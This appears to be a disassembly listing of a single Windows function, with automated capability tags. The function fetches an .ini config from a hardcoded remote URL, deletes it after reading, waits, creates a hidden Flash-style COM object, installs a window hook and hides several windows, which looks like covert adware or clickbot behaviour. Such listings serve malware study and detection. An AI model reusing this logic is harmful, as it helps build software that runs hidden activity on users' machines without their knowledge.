Function at 0x409860
Capabilities:
Create thread
Delete file
Get common file path
Hide graphical window
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
mov eax, dword [0x4541fc]
xor eax, esp
mov dword [esp + 0x58], eax
push ebx
push esi
push edi
push 0x409e60
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.00409760
test eax, eax
jne 0x409a8f
call fcn.0040e870
call fcn.00419b95
cdq
mov ecx, 0x64
idiv ecx
inc edx
mov dword [esp + 0x14], edx
call fcn.00409340
test eax, eax
je 0x409a8f
lea edx, [esp + 0x1c]
push edx
mov ecx, str.http:__inf.eol8.com_sz_cmn.inf
call fcn.0040a640
mov eax, dword [0x45fb64]
mov edx, dword [eax + 0xc]
mov ecx, 0x45fb64
call edx
mov esi, eax
mov ecx, dword [esi + 8]
add esi, 0x10
mov eax, 1
sub eax, dword [esi - 4]
sub ecx, 0x105
or eax, ecx
mov dword [esp + 0x10], esi
jge 0x409901
mov ecx, 0x105
lea eax, [esp + 0x10]
call fcn.0040b080
mov esi, dword [esp + 0x10]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [esi - 8]
push eax
push esi
call fcn.004193f4
add esp, 8
test eax, eax
jl 0x409e4b
cmp eax, dword [esi - 8]
jg 0x409e4b
mov dword [esi - 0xc], eax
xor edx, edx
mov word [esi + eax*2], dx
lea eax, [esp + 0x10]
push eax
lea eax, [edx + 1]
lea ecx, [esp + 0x1c]
call fcn.0040a9c0
mov eax, dword [eax]
mov ecx, 0x44a8d4
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x409976
test dx, dx
je 0x409972
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x409976
add eax, 4
add ecx, 4
test dx, dx
jne 0x409950
xor eax, eax
jmp 0x40997b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
mov eax, dword [esp + 0x18]
setne bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4099a0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x4099b5
push 1
push 0x44a8d4
lea ecx, [esp + 0x18]
push ecx
call fcn.0040b1d0
push 0xa
push 0x44a8d8
lea edx, [esp + 0x18]
push edx
call fcn.0040b1d0
mov edi, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call ebx
mov eax, dword [esp + 0x1c]
push eax
call fcn.00416110
add esp, 4
lea esi, [esp + 0x1c]
call fcn.0040a050
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push edi
push 0xffffffffffffffff
push 0x44a8f0
push str.NVCFG
call esi
push edi
push 0xffffffffffffffff
push 0x44a904
push str.NVCFG
mov dword [0x460fc8], eax
call esi
push edi
mov esi, eax
call ebx
mov eax, dword [0x460fc8]
test eax, eax
jge 0x409a2c
mov dword [0x460fc8], 0
jmp 0x409a3b
cmp eax, 0x64
jle 0x409a3b
mov dword [0x460fc8], 0x64
test esi, esi
jge 0x409a43
xor esi, esi
jmp 0x409a4d
cmp esi, 0x64
jle 0x409a4d
mov esi, 0x64
cmp dword [esp + 0x14], esi
jle 0x409aa5
lea eax, [edi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409a6f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409a8f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.00418dd5
mov esp, ebp
pop ebp
ret 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 8
push 0xea60
call ebx
sub esi, 1
jne 0x409ab0
mov esi, dword [sym.imp.ole32.dll_CoInitialize]
xor ebx, ebx
push ebx
call esi
push ebx
call esi
lea eax, [esp + 0x20]
push eax
push 0x43f5c4
mov ecx, 0xae6d
push ebx
mov word [esp + 0x64], cx
push 1
lea ecx, [esp + 0x64]
mov edx, 0x11cf
push ecx
mov dword [esp + 0x68], 0xd27cdb6e
mov word [esp + 0x6e], dx
mov byte [esp + 0x70], 0x96
mov byte [esp + 0x71], 0xb8
mov byte [esp + 0x72], 0x44
mov byte [esp + 0x73], 0x45
mov byte [esp + 0x74], 0x53
mov byte [esp + 0x75], 0x54
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], bl
mov dword [esp + 0x34], ebx
call dword [sym.imp.ole32.dll_CoGetClassObject]
test eax, eax
jl 0x409ba8
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x409ba8
lea ecx, [esp + 0x14]
push ecx
push 0x43f5b4
mov dword [esp + 0x1c], ebx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push ebx
push eax
call edx
test eax, eax
jl 0x409ba8
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x409ba8
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
mov ecx, dword [eax]
push 0x44a32c
push eax
mov eax, dword [ecx]
call eax
test eax, eax
jl 0x409ba8
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x409ba8
mov ecx, dword [eax]
mov edx, dword [ecx + 0x18]
mov dword [0x460fc0], edx
call fcn.00416b00
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.00417380
push 0x408920
push 0x460fc0
call fcn.00417440
call fcn.00416d80
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DefWindowProcW]
call fcn.00403900
call fcn.00408370
call fcn.00408640
test eax, eax
jne 0x409c18
lea eax, [edi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409be1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x409c01
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.00418dd5
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call esi
mov dword [0x460fc4], eax
call esi
push eax
push ebx
push 0x412d20
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp eax, ebx
je 0x409c3f
mov dword [0x460ffc], eax
mov ecx, 0x40f040
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x24], ebx
test ecx, ecx
je 0x409e25
push 0x80
call fcn.00419ca0
add esp, 4
cmp eax, ebx
je 0x409e25
mov esi, eax
call fcn.0040c780
mov esi, eax
mov dword [esp + 0x18], esi
cmp esi, ebx
je 0x409e25
call fcn.0040c870
test eax, eax
je 0x409e25
mov edx, dword [esi + 4]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push edx
call edi
push 0x80
call fcn.00419ca0
add esp, 4
cmp eax, ebx
je 0x409e21
mov esi, eax
call fcn.0040c780
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, ebx
je 0x409e21
call fcn.0040c870
test eax, eax
je 0x409e21
mov eax, dword [esi + 4]
push ebx
push eax
call edi
push 0x80
call fcn.00419ca0
add esp, 4
cmp eax, ebx
je 0x409e21
mov esi, eax
call fcn.0040c780
mov esi, eax
mov dword [esp + 0x20], esi
cmp esi, ebx
je 0x409e21
call fcn.0040c870
test eax, eax
je 0x409e21
mov ecx, dword [esi + 4]
push ebx
push ecx
call edi
push 0x80
call fcn.00419ca0
add esp, 4
cmp eax, ebx
je 0x409e21
mov esi, eax
call fcn.0040c780
mov ebx, eax
test ebx, ebx
je 0x409e1f
mov esi, ebx
call fcn.0040c870
test eax, eax
je 0x409e1f
mov edx, dword [ebx + 4]
push 0
push edx
call edi
push 0x80
call fcn.00419ca0
add esp, 4
test eax, eax
je 0x409e1f
mov esi, eax
call fcn.0040c780
mov esi, eax
test esi, esi
je 0x409e1f
call fcn.0040c870
test eax, eax
je 0x409e1f
mov eax, dword [esi + 4]
push 0
push eax
call edi
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x20]
push 0
push 0
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x40f040
push 0
push 0
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x409e1f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea edx, [esp + 0x44]
push edx
call esi
test eax, eax
je 0x409e1f
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
mov edi, edi
lea eax, [esp + 0x38]
push eax
call edi
lea ecx, [esp + 0x38]
push ecx
call ebx
push 0
push 0
push 0
lea edx, [esp + 0x44]
push edx
call esi
test eax, eax
jne 0x409e00
xor ebx, ebx
mov edi, dword [esp + 0x10]
mov eax, dword [0x460ffc]
cmp eax, ebx
je 0x409e3b
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [0x460ffc], ebx
call fcn.00403940
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x409a53
push 0x80070057
call fcn.004010a0
int3